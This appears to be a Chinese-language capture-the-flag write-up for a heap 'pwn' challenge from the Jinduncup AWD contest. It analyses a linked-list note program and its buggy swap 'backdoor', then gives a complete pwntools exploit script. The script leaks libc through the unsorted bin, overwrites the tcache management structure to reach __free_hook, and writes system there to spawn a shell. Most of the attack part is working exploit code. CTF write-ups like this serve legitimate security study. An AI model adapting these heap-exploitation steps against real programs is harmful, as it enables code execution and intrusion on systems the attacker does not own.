金盾杯 pwn awd
金盾杯 pwn awd
难点就是利用链表控制节点,理清其中的关系
分析程序
在初始化程序时会申请一个 0x10 的 chunk 作为一个头,在 add 中会申请三个堆块,第一个堆块就是用于存放第二个堆块的 id , size , address ,第二个堆块就是用于存放输入内容,第三个堆块就是存放第一个堆块的地址,和下一次申请的第三个堆块的地址。
用代码表示和下面一样
struct Chunk
{
  uint8_t idx;
  int size;
  char *content;
};
struct Node
{
    Chunk* data;  // 数据域
    struct Node *next;  //指针域,指向下一节点
} LinkList;
分析后门函数
调试发现后门函数其实就是两个节点的换位,但是实现的有点问题
问题一:没有删除原本的节点,比如原本是 a->b 执行后门后 a->b->a
问题二:换位后的 a 节点中的 chunk 的  id 成员存在问题(可以调试发现 id 变成了 0x40,这个原因是因为是进入 tcache bin  后被 fd 指针覆盖了 )
可以通过上述的漏洞让第一个 a 进入 unsortbin 中,再利用第二个 a 得到 libc
调试发现最后一个的节点的 next 是 tcache_struct 但是大小是 0 无法申请出来,但是我们可以通过释放堆块进入 tcache bin 来改变 size 和 id ,因为这个位置正好是存放 tcache 的 fd 指针又不破话后面的 content 成员。
将这个堆块申请出来是 7 号堆块。
for i in range(7):
    add(i, 0x80, 'cccc')  #0 6  
add(7, 0x80, 'cccc')      #7
然后再释放掉两个堆块 0 和 7 ,利用 0 号堆块的地址改变 7 号堆块的 size 和 id 。之所以 edit(0x10) 是因为 0 号堆块的最后一个字节是 0x10
delete(0)   
delete(7)   
payload = p64(0) + p16(0) * 3 + p16(1) + p64(0) * 14
payload += p64(0) * 7 + p64(libc.sym['__free_hook'] - 0x10)
edit(0x10, payload)
下面就没有什么说的了。
exp
from tools import *
context(arch='amd64', log_level='debug')
fn="./pwn"
elf = ELF(fn)
libc = elf.libc
p=process(fn)
def menu(choice):
    p.sendlineafter('your choice:', str(choice))
def add(index, size, content):
    menu(1)
    p.sendlineafter('chunk idx: ', str(index))
    p.sendlineafter('chunk size: ', str(size))
    p.sendlineafter('content: ', content)
def show(index):
    menu(4)
    p.sendlineafter('chunk idx: ', str(index))
def edit(index, content):
    menu(3)
    p.sendlineafter('chunk idx: ', str(index))
    p.sendlineafter('content: ', content)
def delete(index):
    menu(2)
    p.sendlineafter('chunk idx: ', str(index))
def store(index):
    menu(666)
    p.sendlineafter('chunk idx: ', str(index))
add_p=0x17C2
delete_p=0x17CE
show_p=0x17E6
edit_p=0x17DA 
for i in range(9):
    add(i, 0x80, 'cccc')  #0 8
store(7)                  #0 9
for i in range(7):        #0 6
    delete(i)
delete(7)                 #7
show(0x40)                #9
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
log_addr('libc_base')
for i in range(7):
    add(i, 0x80, 'cccc')  #0 6  
debug(p,'pie',add_p,delete_p,show_p,edit_p,0x1B23)   
add(7, 0x80, 'cccc')      #7
delete(0)   
delete(7)   
payload = p64(0) + p16(0) * 3 + p16(1) + p64(0) * 14
payload += p64(0) * 7 + p64(libc.sym['__free_hook'] - 0x10)
edit(0x10, payload)
add(0, 0x80, b'/bin/sh\x00' + p64(0) + p64(libc.sym['system']))
delete(0)
p.interactive()

                
            
        
浙公网安备 33010602011771号